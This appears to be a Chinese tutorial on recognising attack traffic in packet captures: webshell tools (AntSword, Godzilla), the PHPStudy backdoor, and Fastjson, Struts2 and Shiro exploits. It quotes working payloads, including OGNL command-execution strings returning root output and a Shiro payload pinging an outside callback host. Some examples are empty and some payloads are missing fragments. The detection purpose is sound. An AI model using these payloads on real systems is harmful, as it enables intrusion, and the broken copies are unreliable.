分析工具:
Wireshark,在线解密网站
蚁剑的流量特征
实例:
如图,根据 HTTP 流分析,UA 为 antSword/v2.1,将请求数据进行 URL 解密后如下
1 | @ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "0f07cc1a1";echo @asenc($output);echo "020ae6da1ca4";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die(); |
哥斯拉的流量特征
实例:
请求包:
返回包:Content-Length:0
PHPstudy 后门的流量特征
实例:
Accpet-Charset 字段中的内容:c3lzdGVtKCJuZXQgdXNlciIpOw==
Base64 解密后:system("net user");
返回包的数据:
Fastjson 反序列化漏洞的流量特征
Fastjson 1.2.24 反序列化漏洞
实例:
Fastjson <=1.2.47 反序列化漏洞
- 特征为请求数据中含有”@type”:”java.lang.Class”字段
- 原理:利用@type 加载 dedserializers 中的 java.lang.class 类,里面传参要添加的类,从而调用 TypeUtils.loadClass()类来添加 com.sun.rowset.jdbcRowSetlmpl 类到 mapping 函数里,最后实现调用@type 的值
实例:
Structs2 漏洞的流量特征
Structs S2-015 远程代码执行漏洞
实例:
payload:
1 | /S2-015/%24%7b%23context%5b%27xwork.MethodAccessor.denyMethodExecution%27%5d%3dfalse%2c%23m%3d%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2c%23m.setAccessible(true)%2c%23m.set(%23_memberAccess%2ctrue)%2c%23q%3d%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27id%27).getInputStream())%2c%23q%7d.action |
URL 解码后的内容:
1 | ${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q= .apache.commons.io.IOUtils ,#q}.action |
可以看到回显中被执行的内容:
1 | uid%3D0%28root%29%20gid%3D0%28root%29%20groups%3D0%28root%29%0A.jsp |
URL 解码后的内容:
1 | uid=0(root) gid=0(root) groups=0(root) |
Structs S2-045 远程代码执行漏洞
实例:
payload:
1 | %{(#nike='multipart/form-data').(#dm= .OgnlContext ).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance( .opensymphony.xwork2.ognl.OgnlUtil )).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=( .lang.System .toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=( .apache.struts2.ServletActionContext .getOutputStream())).( .apache.commons.io.IOUtils ).(#ros.flush())} |
执行的命令:whoami
回显的内容:
命令执行成功
Shiro 反序列化漏洞的流量特征
- payload 是构造 Cookie 的 RememberMe 的值
- RememberMe 的值经过了 AES 加密、Base64 编码
- 请求包中 RememberMe 的值通常为 512 字节,攻击者构造的 payload 的值一般远高于 512 字节
实例:
将 RememberMe 的内容通过 Shiro RememberMe 在线解密的网站进行解密操作:
分析解密后的数据可以看到应该为 Runtime.getRuntime().exec()这类函数执行了 ping 命令
1 | java/lang/Runtime* getRuntime()Ljava/lang/Runtime;,- +.ping shiro.l3jj9e.ceye.io0exec'(Ljava/lang/String;)Ljava/lang/Process; |
可以判断遭受到了 Shiro 反序列漏洞的攻击